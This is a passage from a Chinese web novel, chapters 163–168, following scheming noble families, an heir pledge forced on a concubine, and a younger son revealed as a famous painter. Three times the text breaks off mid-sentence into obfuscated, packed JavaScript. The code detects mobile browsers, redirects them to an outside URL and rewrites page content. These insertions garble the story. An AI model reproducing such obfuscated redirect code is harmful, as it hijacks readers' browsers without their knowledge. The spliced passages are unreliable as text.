老端侯当年做的那混账事儿,纵使换个人家被杀十回头都有可能,可毕竟在关键时候将一些关键证据湮没了。 李家又是大恒初年从龙的功臣,圣上心里再有气,也不能真就夺了他们的爵去。 更何况当年老端侯挪用的并非大恒菓库里的银两,而是未废封地前的封地府库和圣上行宫私库的银两财物,这些事儿只要圣上不追究,谁都没法子。 楚氏现在只求夏明月多忍让一些,等这些事情都过去了,三家相安无事,楚霆孝平安致仕,一切都会好起来的。 第163章月有圆缺 楚氏没说当年的事具体如何,夏明月却不难猜到,不过是朝堂上的那些事,楚家能成为钟鸣鼎食之家,夏家能以一代人之力将府邸变为尚书府,都不可能清白如纸。 夏明月对这件事产生了一种恐惧,她心里清楚,这件事即便明明白白地告诉她了,她也改变不了任何事。 夏明月呜呜咽咽地哭了一场,没有再问过去究竟发生了什么,只是很委屈地问道: “夏明嫣知道这些么?她是不是知道这些内情才那么轻易地答应嫁到华家去的?” 楚氏知道夏明月想听什么,无外乎就是夏明嫣知道华家好才这么选择的,可是现在楚氏不打算骗她: “她当然不知道,谁会告诉她这些?她要是知道了,还能这么安静地在华家待着,早就去寻你晦气了。” “月儿,你说实话,她在卢阳的时候,你没私下让人对她做什么吧?我怎么觉得你总是担心她会怎样……你放心,只要咱们稳得住,她心里再不情愿,也是要帮着夏家和你的。” “这也算是歪打正着了,她在华家过得还不错,以后更是能帮上你了。尤其这华侯的命应该是保住了,可是以后又难大好,华家为了安抚咱们,定会早早地把侯府中馈都交给她。” “你听我一句,至少在李玦袭爵之前,你得拉拢好你这个长姐。你还真别说,要是换了她跟你婆母对上,说不准你婆母还真拿她没法子。” 夏明月悲从中来,哭得更大声了,因为她心里曾经的幻想正在一点一点地破灭。 从前她以为夏明嫣在端侯府做妾都能在蛰伏之后风生水起,靠得纯粹就是她那鹌鹑一样的性子,任打任骂、任劳任怨而已。 可是如今看来她太天真了,前世的时候,夏明嫣更不可能知道这些,完全是被蒙着眼、堵着嘴送进端侯府做妾的,居然还可以做到被扶正的地步,绝不是她想得那么简单的。 反而是她自己,嫁到了华家,却把日子过成了那样。 她心里再不想承认也不得不承认,楚氏说即便华靖离就此没了,或者一辈子都瘫卧病榻,钩翊侯府的日子都比端侯府的好过……她竟然把原本就更好过的日子给彻底过砸了。 她想到了一种可能,这一世,虽然她嫁给了李玦,要是她继续这样下去的话,这日子也未必就过得好。 而夏明嫣即便注定要守活寡,日子说不定也能过得风生水起,毕竟她那些手段即便对付不了别人,难不成还对付不了华家那些个土包子么? 夏明月暗暗要求自己振作起来,不能再像以前那样任性、冲动,她斟酌再三,心里还是不后悔嫁给李玦的。 元京高门当中,荣华富贵唾手可得,可是有几个能嫁给年纪相仿又才貌双全的有情郎呢? 偏偏她夏明月就做到了,她不应该因为没有得到眼前的富贵而伤心、气馁,这些个俗物她早晚会有的,不过是晚上几年罢了。 她得珍惜,她还得像夏明嫣一样能忍才行,哼,她就不信了,她从小在尚书府长大,受名师教导,她不信她会比夏明嫣这个卢阳乡下长大的丫头差…… 那夜夏明月住在了尚书府自己出嫁前的闺房里,第二日不用端侯府的人来接,自己就带着巧兰回去了。 只是这一回她又带了几个老成持重的仆妇回去帮她,这也是楚氏要求的,人是乔嬷嬷选出来的,多少能在她被府中那三位长辈为难她时帮她出出主意、挡一挡。 夏明月这回很听劝的没找任何人发脾气,而是在午饭时把李玦请了过来,她见了李玦,就先示弱地掉了几滴眼泪: “阿玦哥哥,不,以后要叫夫君才对,母亲和姑母都说我长不大,都为人妻子了,不该再那样唤你。夫君,你是不是也嫌弃我不懂事了?” “要不然何家阿姐进门,你怎么也跟她们一起瞒着我?我没有要闹的意思,真的没有,我就是怕,怕你嫌弃我不懂事,又有了她,以后都不理我了。” 夏明月惯会撒娇做痴,如此这般放低姿态,虽然不符合她一贯的做派,但是由她做出来还是比一般人要自然。 她容貌又生得好,往日与李玦的情意又不是假的,看在李玦眼里,自然动容。 李玦的心一下子就软了,他现实抚了抚夏明月鬓发,继而携了她的手,一起到坐榻前坐了: “不是有意瞒着你,那几日我都在书院温习,她们也都瞒着我。她们之前只对我说了个大概的日子,说是就在那几天。” “我想着纳妾而已,就算是贵妾,不过是一顶小轿抬进门来,在家里摆几桌请上几个亲戚,我换身衣裳迎一迎便是了,没想到她们置办得那般热闹,我自己都吓了一跳。” 李玦这番话说得好,他就是要告诉夏明月,他也很无奈,他也是被迫的,都是何夫人和李姑母、何姨母操办的,他只是后知后觉! 不过这话半真半假,他当然是知道具体日子的,也是真没想到会操办得那般盛大。 夏明月当下心里就好受了不少,对着他的时候,心里的柔情又浓了几分:“我就说你不是故意对不住我的,我们是青梅竹马的情意,是别人比不了的,对不对?” “不,不,不对,你与何小娘也有姨表之亲,也是不一样的。我性子是急躁了些,可我也是担心你有了何小娘之后,就不理会我了。” “怎么会?明月,你是我的妻,永远都是。” 李玦心里有那么一刹的迟疑,的确,他喜欢夏明月,甚至可以说他深爱夏明月,只是他这几日发现了一件令他自己都震惊的事。 他最心仪夏明月的时候居然是在成婚之前,而且是在两家还没有换亲的时候,也就是华靖离还未遇刺重伤,夏明月被夏家定给了华靖离的时候。 那个时候他心里充斥着愤怒、不甘、不愿,他不想放手,他觉得若是他真的无缘迎娶夏明月为妻,他这辈子都会沉浸在悔恨当中。 第164章他们两个都变了 李玦自小就知道自己在元京不受待见,母亲为了让他融入元京高门,没有为他开私塾而是去了一个高门人家的书塾附学,他就是在那里跟华靖离有了交集。 华靖离小时候在书塾里一开始也是个遭人针对的主儿,那时候他的父亲华叶峰刚刚临危受命、举家搬来元京。 华靖离自小不是在演武场上习武,就是跟着父母在屯垦的田地里跑来跑去地看那些农人做事,整个人看起来都黑乎乎的,放在元京高门的一众贵公子当中,像块儿黑炭似的。 风俗不同,没有共同经历,又是难以站稳脚跟的旧勋贵人家,华靖离很快就跟同样受排挤的李玦越走越近,也就是从那时候开始,李玦曾一度以为他的人生步调会和华靖离一样。 谁知华靖离十三岁时就去了军中,从此横刀跃马、步步战功,等到他再回元京时,早已与他不是一个世界的人了。 他大感世道不公,凭什么同样是武勋人家,华靖离还有机会重来,而他只能被父辈不能说出口的错误压倒。那些事儿又不是他的错,凭什么让他来承受这一切? 难道现在就连他的明月都要被华靖离夺走,成为华家的宗妇了吗? 那时候的李玦恨不得冲到夏家和华家理论一番,可是他最终还是不敢,他又想去北疆找华靖离理论,可是路途遥远,母亲拦着他不让他动身。 他愤怒得三日三爷合不了眼,只能把一腔怒火憋在心里。 有时候他也会想,夏明月有没有为他们之间争取过,是不是已经放弃了?这么长时间都没有动静,是不是已经打算嫁给华靖离了? 还是说她原本就是想要嫁给华靖离的?她也和元京高门的那些女子一样,他再如何谦谦君子、温润如玉都好,她们都只肯与他花前月下或是用含羞带怯的目光远远地望着他,而只会与门当户对或是出身比她们更为高贵的男子成婚? 想到最后李玦的愤怒已经从高涨沦为绝望,却在这时等来了华家换婚,还不到一日的工夫,又得到了华靖离性命难保的消息…… 短短一日之间,他整个人都仿佛被从苦海里捞了上来,仿佛一下子得到了某种救赎。 命运终于偏爱了他一次,他终于比华靖离幸运了,他娶到夏明月了! 而华靖离虽然奉旨成婚,娶到了夏家的嫡长女,可是谁都知道那个嫡长女是怎么回事,哪里能比得上他明月呢? 可是这种蒙天之大幸的感觉只持续了几天,李玦这几日便觉得好像真的娶到了,也就那么回事。成婚之后的夏明月和她能带给他的生活,似乎并不像成婚前他想像的那样。 他所想像的妻子在成婚前天真烂漫、美如春花,成婚后贤良淑德、执掌中馈、和睦长辈,可是夏明月跟成婚前没有一点变化,还是一副长不大的样子。 他开始会想,应该是时间还太短,他得给夏明月时间,可是夏明月也总该有点成长、转变的迹象吧?反正他是一点儿都没有看到…… 因此他说出“她永远是他的妻”时没有迟疑,却多少有点索然无味,弄得现在他说接下来的话时,心里百味杂陈。 “明月,一切都会好起来的。何表妹是个懂规矩、懂进退的人,她嫁给我,也是因为她想给大舅舅家里找一个依靠。” “你知道的,大舅舅病得很重,送去南边儿养病的表弟听说也不好了,何家不找一个侯府门第做靠山,那些个家业早晚要落入外人之手。可是何家如今没落了,除了我这个表兄,她还能嫁到哪个侯府门第去?” “你放心,大舅舅的意思是,将来她有了子嗣,也是借着侯府公子的身份回去支撑何家门庭的。咱们的嫡子将来定是这端侯府的世子,我和这府里的一切都是我与你的孩儿的。” 的确,要是单单只是为高门贵妾的话,何雨萍也不是没有别的选择的,可是谁家又能待她这么好还容得她经常管何家的事儿呢?那可真没有。 至于子嗣,如今的高门贵妾里的确有这般打算的,家中人丁单薄,将来女儿生下的外孙回来成为实际的家业继承人。如此这般亲族和外人不敢得罪他的父族,家业得已保全。 何家或许现在的确是这样打算的,可是夏明月心里清楚,这件事只是暂时的,将来会有变化。 因为上一世夏明嫣和邓澜都没能生下孩子,连个女儿都没有,最后反倒是何雨萍连生两子,等到她改嫁进来的时候,那长子已经是世子了。 当时何大舅已经不在了,何雨萍可丝毫没有提起昔日约定的意思,安安心心地让自己的儿子做了世子。 而她夏明月,终于与心上人守得云开见月明,可是在家庙里的时候,她身子坏了,没几年也走了,也没能生下一儿半女。 夏明月当下就想揭穿何雨萍,可是她脑子里及时地响起了楚氏提醒她多学学夏明嫣的话,她忍着极大的恶心,想像着这种情况下夏明嫣会说什么。 她斟酌了一下,露出为难而大度的神情,“夫君,这样似乎对何小娘不大公平,她的孩子,不也是你的孩子吗?而且这种事应该跟族人商议过再定的,不是吗?” “明月,你真是这样想的?我就说,我的月儿不是那般小气的人。不会的,我们的嫡子一定会是世子。” 李玦保证着,因为夏明月的改变眼中柔光一闪,他发现成婚前他喜欢夏明月张扬、无畏的样子,而现在他更需要一个善解人意、温柔小意的妻子。 原以为有楚、夏两家帮助,袭爵一事应当进展很快,没想到事情并没有他们想象得那么容易。 圣上并没有因为故人之子成婚就动了恻隐之心,反而对生死未卜的华靖离多加优容,他袭爵的事竟是停在那里不动了。 夏庸说当下也不能催得太急,未免触怒圣颜,反让圣人把话说死了,那样的话以后都不行了。 夏庸建议他既然已经决定参加御青书院的擢选,就先把这件事做好,即便不能中选,也要在擢选中展现出自己的才学和风骨来,并且暗示了最终擢选时圣人也会微服亲临观看。 第165章庶子不承业?立字据 御青书院,一直是大恒学子心中的至高学府,若是能中选之后在当中读上几年书,多受些名师指点,将来再去科考、授官都会大有裨益。 而朝廷虽不会直接干预书院选贤,却会从中观察学子们的言行和志向,完全可以算是授官前的初选。 楚家舅父那边也传了话来,他们只能帮忙造势,没法子左右圣人的看法,最关键的部分还是得靠他自己的。 多余的话一句没有,只说他们相信自家外甥女的眼光,相信他一定能行。 李玦往日以来一直以才子之名示人,这会儿反倒不好示弱说自己其实也没有那么有把握了,总之他绝不像他表面看起来这样沉稳、平和,他心里急得很。 这种时候一个张扬的妻子不会带给他什么好处,还会让他更加焦躁,反倒是温柔结语的妻子至少能体谅他,至少能让他心里舒服点。 夏明月不大明白李玦此刻在想什么,只是她太熟悉李玦了,他这般反应显然是受用的,并没有把话说死,万一她将来没有嫡子,还是得便宜了何雨萍。 夏明月虽然不觉得自己这辈子会没孩子,可是她不甘心李玦给别的女人留余地,她软着声音轻声道: “夫君要是如此坚持,我倒是觉得索性就不要让何小娘和她将来的孩子担一个虚名了,索性请何小娘立下个字据可好?” “左右他们都无心搅进府里的是非来,索性从一开始就放弃了,将来有了孩子,是从小读书也好,还是从小请了人来教经商也罢,府里都不干涉,岂不两相便易?” 其实李玦原本只是随口一提,并没有认真设想过几十年之后的事儿,那些事儿对他来说太遥远了。 而且李玦自己是要做侯爷的人,他再喜欢夏明月也没想过不纳妾、没有庶出子女,作为他的子女,他将来定是要安排好的。 即便将来不能继承爵位,或是科考,或是沙场历练,他都会安排好的,而不是像现在这样早早就把他们绑死在商贾这条路上。 李玦立刻就反应过来了,夏明月刚才不过就是假大方,当下就有些不悦:“明月,舅父肯开诚布公地跟我说这些,我们也该诚心以待才对。” “立下字据……表妹她连身孕都没有,现在做这样的事就算不会显得咱们没气量,反而让舅父和表妹面子上下不来。” 就是舍不得何雨萍和她将来的孩子呗? 李玦一不高兴,夏明月就更不高兴了,只是她这一回还是忍住了,她开始跟李玦谈条件: “夫君,这字据也不是我要的,是给我父亲、母亲和舅父看的。让他们放了心,才能请他们多出些力,夫君你也能更快地袭爵,或是之后得个好差事不是?” “子嗣传承,那都是几十年之后的事了。等到那时候这字据都化成飞灰了,谁还在乎,怕是找都找不着了,大家要的不过是一个安心罢了。” 这话就看怎么说了,只要是写过了,夏、楚两家都还在,这话就不能不作数。 李玦心里越来越不舒服,他从小就被告知,他之所以不能袭爵,是因为自己的父亲所带领的李家军海战失利,当时的饷银和供给也弄得不是很干净,触怒了圣上。 但因为一场风浪,湮没了许多证据,所以圣上纵使没有让他袭爵,也没有追究端侯府更多,他们纵使失了富贵,也还能保住性命继续过日子,以待来日。 他从小一直缩着过日子,生怕得罪了什么人,就是书塾里那些同窗欺负他,他一方面心里气愤,可另一方面也觉得这些人这样对他是理所当然的。 可等到他五岁上下的时候,他又觉得哪里不对了,就是这夏家居然不阻拦自家子女跟他玩儿。 甚至他还发现,他母亲何夫人表面上跟一众高门夫人断了联系,可私底下却跟楚霆孝的夫人和儿媳妇有来往,更甚至还得到过楚家的资助。只是在被他发现之后,叮嘱他不要说出去。 他后来就渐渐觉出些味儿来了,他们家虽说败落了,可手里应该是握着两家的把柄的。尤其是夏家定了换嫁,真正给他定下了家里最受宠的千金夏明月之后,他就更加确定了这一点。 成亲前何夫人也私下跟他说过,让他不用太惯着夏明月,这都是夏家和楚家欠他们的。 也正因为如此,之前夏家只肯将夏明嫣这个名为原配嫡女实为弃女的嫁过来,她才觉得受到了羞辱。 现在夏明月竟然要挟他,要他让何雨萍立下字据,才肯让夏、楚两家帮他袭爵。 曾经天真活泼、满身用不完的勇气的夏明月,竟然为了这种事儿要挟他?这……似乎还有些恶毒。 李玦越想越失望,越想越心寒,但他还是耐着性子道: “要立字据,这就是件大事了。我看不如这样,等擢选过了之后,咱们在府里摆上两桌,把大舅舅请过来,再请了母亲和李、何两家的族亲长辈做见证,如何?” “这样将来万一表妹那边改了主意,也不能反悔。你拿着这样立下的字据回去,岳父岳母和太公、舅公他们也会更满意。” 夏明月心里那点儿不满一下就去了一半儿,眼神儿都明亮了起来: “我就知道夫君永远都是我的阿玦哥哥,永远都是站在我和我们将来的孩子一边的。不过摆几桌酒席也不是什么费劲儿的事儿,我可以立刻安排下去。” “待到擢选结束,还得月余。既然何小娘已经提了这个话,还是趁热打铁的好。免得之后还要重新提这个话,再提一回,多伤人颜面啊。” “还是说你介意我之前防着她甚至有些嫉妒她,那都是误会……她是你表妹,母亲、姑母、姨母又都那么喜欢她,我是担心你有了她,就要把我抛诸脑后了……” “我这么做也不全是为了我自己和我们将来的孩子,主要还是要给长辈看的。没有字据,他们不信,反而说我被你诓骗了,我是怕他们不肯再出力。” 夏明月甚至委屈地吸了几下鼻子,她最擅长这样含情脉脉地看着他再使一些小性儿,他就不信李玦会不答应。 第166章华靖和掉马 都是高门大户出身的人,纵使不懂阴谋权术,对别人情绪、态度的变化也很敏感。 李玦刚刚明显是不高兴了,夏明月没想到这种不快是出于他男子的尊严受到了触犯,她全想到何雨萍身上去了,觉得李玦是因为看上了何雨萍才迟疑的。 夏明月刚才已经打听过了,昨晚李玦和何雨萍圆房了。她虽没想过李玦能一直不碰何雨萍,可她也没想过李玦竟然连拖延几日都没有,直接就圆房了。 事关子嗣,即便有字据,这样的承诺将来也完全可以不算数,她当然也清楚这一点,可是就算只能让何雨萍一想起这事儿来就恶心,她也要坚持这样做。 李玦想到孜孜以求的爵位,神情缓和下来,妥协道:“好,不过也还是要些时日的。大舅舅最近身子不好,得好些了才好出门。还有李家的族老,这些年都回了老家了,请人过来,怎么也得大半个月。” “离擢选还有一个月,我这就去信给他们,擢选前请他们派个人赶过来做见证。要是能让他们目睹我在擢选之上的表现,看到我被选上,也是一件好事。” “夫君说的是,就这么办。我相信别说是两位舅父了,就是外祖父也不会吝啬在圣上面前美言几句的。” 夏明月笑着说着,要是擢选之后才立这字据,要是李玦选中了,说不定他觉得离了他们,他也能行。 要是没选中,不管究竟是什么原因造成的,他都会觉得楚家没有尽力……无论是哪一种结果,他都有可能不愿意立这字据。 不如趁热打铁,哄着他把这件事办了,到时候她有了这字据,再在何夫人、李姑母、何姨母面前说话,看她们谁还敢那般对她。 李玦心里却不是这么想的,给老家的族老去信,哲州水患刚平,路上到处都是归乡的流民,耽误一下就赶不上了。 就算信送回老家去了,族老年纪大了,就说身子不好,得晚些时候起行,拖着拖着这事儿说不定就不了了之了。 不过,李玦想到另一件事:“钩翊侯府那边这几日还没动静?我那义兄也不知道怎么样了,你长姐那边也没个消息?” “说是请了名医治伤,该不会是请了蛊医吧?不管怎么说,治伤治病,一个月、三个月、半年、一年都是个坎儿,已经一个月了,说不定有什么消息。” “你多留意一下,之前他刚回来,因为他受伤是刺客行刺所致,我也不方便打探,一直没有登门。这么久了,都没有去探望过他。” “要是你长姐那边有消息,哪怕见不到义兄,只能见到你长姐,咱们也该去拜会一下。” 夏明月没多想,她也想去跟夏明嫣炫耀一下字据的事儿,也能去看看华靖离的惨状。 她都想好了,以后还有用得着夏明嫣和华靖离的地方,她不明着跟他们夫妇对着干,她就要让他们看到她过得有多好,气死他们。 夏明月难得主动地回应道:“好,我明日就叫巧兰过去看看,就算长姐那儿没消息,他们府上那位二公子也入了终选了,总是要出府的吧。” 没错,就在这一个多月里,御青书院的初选结束了,李玦和华靖和等二十余人入了终选。 这御青书院选人也不完全是靠才学,各种式样的有名气的文人都在考量的范围内。 李玦在诗文上算是有两把刷子的,加上楚家两位舅父派人暗中为他造势,他那些个零散的诗句如今传扬得整个元京城到处都是,哪个文士不能背出几句。 华靖和却是走了运了,卜小娘之前托的关系本来就没有多少把握,只是说帮他写了举荐信试一试,原本第二轮就落选了。 可是偏偏这华靖和私下里做过的一件事儿被挖了出来,这事儿倒是让整个钩翊侯府都连惊带喜了一回。 华靖和文采着实一般,可他画技了得,因为华家人不懂欣赏,他也清楚画再好也不能帮着他得个功名,身为华家人,又不可能允许他入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301812|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画院给贵人们作画,他便将在画艺上的名声藏了起来。 可是一个人一旦擅长了什么,尤其是其他都不怎么擅长还缺银子使的时候,他就不大可能完全不去利用他擅长的东西。 华家其实没短了华靖和的吃用,月例银子不够,他要是自己去账房支取,也没人拦着他不给。只是作为一个闲人,花了家里的银子,就得说得出这些银子究竟用在哪儿了。 华靖和那银子花的很多时候自己都说不清楚花哪儿了,而且请好友吃饭饮酒,或是想买画具、笔墨纸砚的,可都不便宜,他就自己想了个挣银子的道道儿。 卖画儿,不用本名卖,而是取了一个新名字——无用居士。 元京市面上这无用居士的画作,就是早年的都要卖上百两银子一幅了,最近几年的,甚至有卖到五千两一幅的了! 这可不是一笔小钱,尤其是对于活着的画师来说,甚至这无用居士的名头比华家二公子还大。 华靖和这层身份一露出来,他的名气甚至一度盖过了被楚家刻意造势的李玦,一下子成了元京风云人物。 本来么,李玦那冠玉公子的名头流传已久,大家都不觉得新鲜了。反倒是华靖和如今更有话题,什么侯门庶子隐藏才华,什么他为什么要这么低调,是受了家族的排挤吗? 而且一向被众人认为没什么墨水的华家居然出了这么一个人物,人们不禁也对华靖离多了几分猜测。 都说华靖离是个武人,文采这些恐怕就是个识文断字、能写清楚折子的水平,但既然华家能悄么声的出一个华靖和,难不成华靖离也很有文采不成? 华靖离伤愈之后,头一次出府,坐在马车里听到路人议论最多的就是这些,弄得他都不知道该说什么好了。 说起这个,华靖和上一世可一直没有露出过这层身份,倒是后来华家军南下,军饷不足时,华靖和不知道从哪儿弄了一大笔银子,还说是跟钱庄借的。 第167章华靖离出府 想来那笔钱就是卖画儿积攒下来的,华靖离想想这个弟弟,不禁有些唏嘘。 两世以来他们都是名为兄弟的陌生人,因为中间差着岁数,他去书院时,华靖和还在家里玩儿泥巴,他去军中历练时,华靖和又去了书院。 他从来没有欺负和苛待过这个庶弟,但是也从来没有亲近过他,不是因为卜小娘跟他母亲不和,就是因为他们两个是截然不同的人。 上一世华靖和只被当做了家中传宗接代的后备人选,被当做华家最无用也是最风流的子弟养着,没想到这个看起来最无用的华家子弟,却一直在用这种方式保留着自己的风骨、守护着华家。 华靖和看向一旁挑起幕帘侧耳倾听的夏明嫣,笑道: “要不……下去听听?是不是羡慕靖和这样的才子,恨不得你的夫君也是这般的人?” 夏明嫣头都没回一下,从微微掀起的幕帘下看着那些议论李玦和华靖和的人:“还别说,当才子的妻子就是容易被人讨论,听起来就觉得风光。” “毕竟才子温润如玉,一开口就是诗文书画,想想都觉得挺美的,还很舒心。不像嫁了个武勋人家,夫君成日里舞刀弄棒的,一开口就是什么策略、兵法,听都听不懂。” 夏明嫣从来没有看不起武勋人家出身的人,她如此指桑骂槐,当然是有原因的。 在这一个多月的治疗过程里,在活蛊带来的巨大痛苦之下,华靖离都挺了过来,甚至连特别失态的时候都没有。 可是意识模糊之下,他嘀嘀咕咕、自言自语说的那些话,葱白没听明白,只当做是他在说胡话了。 夏明嫣却听得清楚、明白,华靖离居然知道很多前世后面发生的事,这说明什么? 说明他很可能也是重生的,而且他可能早就看出了她也是重生的,只是一直没有说破。当然,也还有一种可能,他没重生,但做过不少预知梦。 但无论是哪一种,他都骗了她,瞒着她,还在欺瞒她的情况下要求她亲自为他治伤。 闹了半天,她吭哧吭哧地把吃奶的牛劲儿都使上了,他却一直在骗她! 她都想像不到,每次她纠结着不知道该怎么跟他解释哪些事儿是前世发生过的时候,他是怎么想的?是在看她笑话吧。 只是这件事他们两个都还没有正式地谈起过,甚至谁都不打算主动开诚布公地说一说重生这回事儿。 华靖离猜得到她的小心思,只是他也不打算主动,因为实在是太尴尬了,更何况这当中他也有暂时不敢去面对的东西。 就好比外面这些人谈论的“书生”,夏明嫣前世跟李玦做了半辈子的夫妻,虽说李玦不是个东西,可她能在那种情况下为他筹谋半生,要说这全是受到了身份地位的限制,或是为生计所迫,他不信。 他猜测夏明嫣对李玦还是有几分喜欢的,那么她对他呢?只是因为嫁给了他,才必须把他当作夫君?还是说她也有那么一点喜欢他这个武夫? 华靖离年少时就在兵将堆里行走,看透人心是他从小就不得不练就的功夫,可是他不是每时每刻都能看透夏明嫣。 此刻,听完夏明嫣的话,华靖离只是嘴角勾了勾,便道:“夫人听不懂,可以我问我,为夫一定知无不言、言无不尽。” “至于嫁给书生,也不见得就能过上好日子。你就说你那个妹夫,我的义弟,嫁给他,就未必好。他对他的母亲,从来不说一个不字。” “你看,成婚才几天,就把自己的表妹抬成了贵妾。他还有至少三个表妹,说不定后面还要再抬一两个进去。” 这是说不定吗?上一世的确还抬了一个进去,还不是做妾室的,是正室夫人。 夏明嫣立刻就想到他什么都知道,故意说道:“夫君毕竟是世子妹夫的义兄,对端侯府有哪门亲戚都了解得很。只是除了这位何小娘,白姑娘、栗姑娘……还有一位邓姑娘,都是他的表妹。” “也不知道他要纳哪一个?都纳了恐怕不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301813|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能,你觉得他会纳哪一个?” 当然是邓澜…… 这个名字,华靖离差点儿就脱口而出,只是他要是说了,夏明嫣就可以确定他是重生的了。 邓澜这个人,要不是上一世嫁给了李玦,恐怕任谁都注意不到她,要不是知道上一世这段经历的人,谁能说的出这个名字? 华靖离这时候的笑容里甚至带了几分讨好:“我怎么知道他要纳哪一个,难道夫人知道?要不你说说,要是不想让他称心如意,就想个法子把他们拆了。” “再说了,世上也不止他一个冠玉公子,我看靖和也不错。样貌上不比他差,功名大概是比不上他了,可是靖和会作画,将来说不定能成为一代名士。” “你要是喜欢文人,以后多给他相处一下。你是他的长嫂,也多帮他出出主意,让他也学学你的通透、善解人意。” 夏明嫣放下小窗上的幕帘,说到华靖和,她的确不可能不管:“二弟的婚事应是不愁了,只要不是坏了名声,想必之后求亲的人家都要踏破门槛儿了。” “眼下你的伤刚好,还得休养上一年。这一年,你都不能生闲气,尤其不能被你那个义弟气着了。我看有个好法子,就是让二弟的名气把他的名气盖过去!” 这样气都能把李玦气死!她想着就觉得很舒服,不过眼下最要紧的不是怎么气李玦,而是护住华靖和稳住华家根基的支撑。 上一世华家结局凄凉,不仅是因为华靖离战死,还有一个原因就是华家内部的篱笆扎得太松了。 华靖和这个华靖离唯一的庶弟,因着一旦出仕便是文官,华家不能文武双绝,他又没有功名,还没有营生,一辈子都被荒废了。 像这样被富养着养废了的大家公子,年轻的时候是冠玉公子,年纪大了,说难听点就是游手好闲的老混子。 再一个就是华青青,嫁给了太子谢维,别说她给钩翊侯府带来什么好处了,她连自己都活不明白,保护不好。 第168章互不认错的小夫妻 从整个华家的平安、繁荣来看,如今华靖离这根支柱好了,这两块基石要是塌了,一样会出问题。 这件事也关系到夏明嫣自己的将来,她一下子就来了精神,顾不上计较华靖离之前骗了她多少。 眼下提升华靖和名声的机会实在难得,华靖和跟他们都无意于进入御青书院,可是华靖和可以利用这次擢选展示自己,将他自己打造成元京年轻一代最有名的画师。 华靖离见她为华靖和如此上心,又难免有些吃味儿:“你对他这么上心,还说不是喜欢书生?明嫣,你是怨我瞒着你……你不也瞒着我么?” 华靖离大概是心虚,其实一切都已经摊在眼前了,可是他就是不肯承认。他自己都觉得奇怪,自己一个大男人,怎么会有这样的小心思。 说到底他还是担心夏明嫣对他无意,一旦把重生的事摊开来说,就要说起她跟李玦的过去,还有他跟夏明月的过去。 从现在的情况来看,就算他能按过李玦的那些事儿不提,她也很难相信他跟夏明月之间什么都没有吧? 这种感觉像什么……他们两个是半路夫妻?也不对,他跟夏明月没真正地做过夫妻。 可是想起李玦跟她……她心里很不是滋味,李玦哪里配得上她…… 华靖离以为他这么问,夏明嫣多少也会有些心虚,谁知道她一转头,小巧的下巴一抬,理直气壮地道: “我瞒着你又怎样了,有些事儿难道我还能见人就说了?说别人之前,先看看自己。你是我的夫君,我还是你的救命恩人呢。” “你可别忘了,想要余毒祛根儿,还得调理三年,你还用得到我呢。这种时候就对你的救命恩**呼小叫,华大将军是众星捧月的日子过太久了,对救命恩人也这么不客气?” 夏明嫣何尝不是在用这种方式掩盖着自己的心虚,可是她表现得特别理直气壮,坐在马车里插着腰、脸颊绯红地瞪着他,气势上一点都不弱。 华靖离被她这副样子逗乐了,就像是一只……凶巴巴的小纸母老虎,他一抬手就可以戳破她,可就是舍不得。 他别开眼笑了一下,收住了才又转回头来哄道:“好好好,就说靖和的事儿,夫人过门儿不久,就能我之手足如亲兄弟,我没什么好不高兴的。” “说正事儿,靖和能进终选,前头走得太顺了。郭林一直盯着,都不用他出手,根本没有人为难靖和。卜小娘找的人不过是写了一封举荐信,别的事即便有心也是无力。” “他能顺利进入终选,如果不是意外,就是有人故意放他入局的。我伤愈的消息,如今除了圣上和自家人,没人知道。他们是想趁着我们关门闭户,给华家泼一盆脏水。” 往年不是没有意外入局的黑马,大恒人才众多,有些人平日里名声不显,或是像华靖和这般用别的雅号混迹文坛、市井,等到擢选前才显露身份,得以进入进入终选。这样的人,往年也不是没有。 只是他们比起华靖和要么原本的名气和成就都要大很多,要么就是背后明显有人在运作。 反观华靖和,卜小娘找的人只是她自己以为比较重要罢了,实际上卜小娘不过是先太后身边的宫女出身,太后薨逝多年,她又在内宅多年,在外面早就没有了什么人脉。 人脉这种东西,别管昔日有多深的交情,多年之后这人脉还能不能用,说到底看得还是彼此对彼此有没有用。 卜小娘这样的内宅妇人,即便华靖离这次没挺过去,真让华靖和袭了爵,华叶峰和董氏都还在呢,能轮得到她得势?到时候她也不过是日子过得好些,别的八成落不着,就是华靖和自己也没有为生母牟利的想法。 那些人能帮她什么?那个帮着写举荐信的人,还是因为从前是太后身边的旧臣,现在已经快要致仕了,家中子侄眼下最有出息的也不过是个外边的城府官儿。 人家帮不帮她,都对自己没什么害处,才看在旧日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301814|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 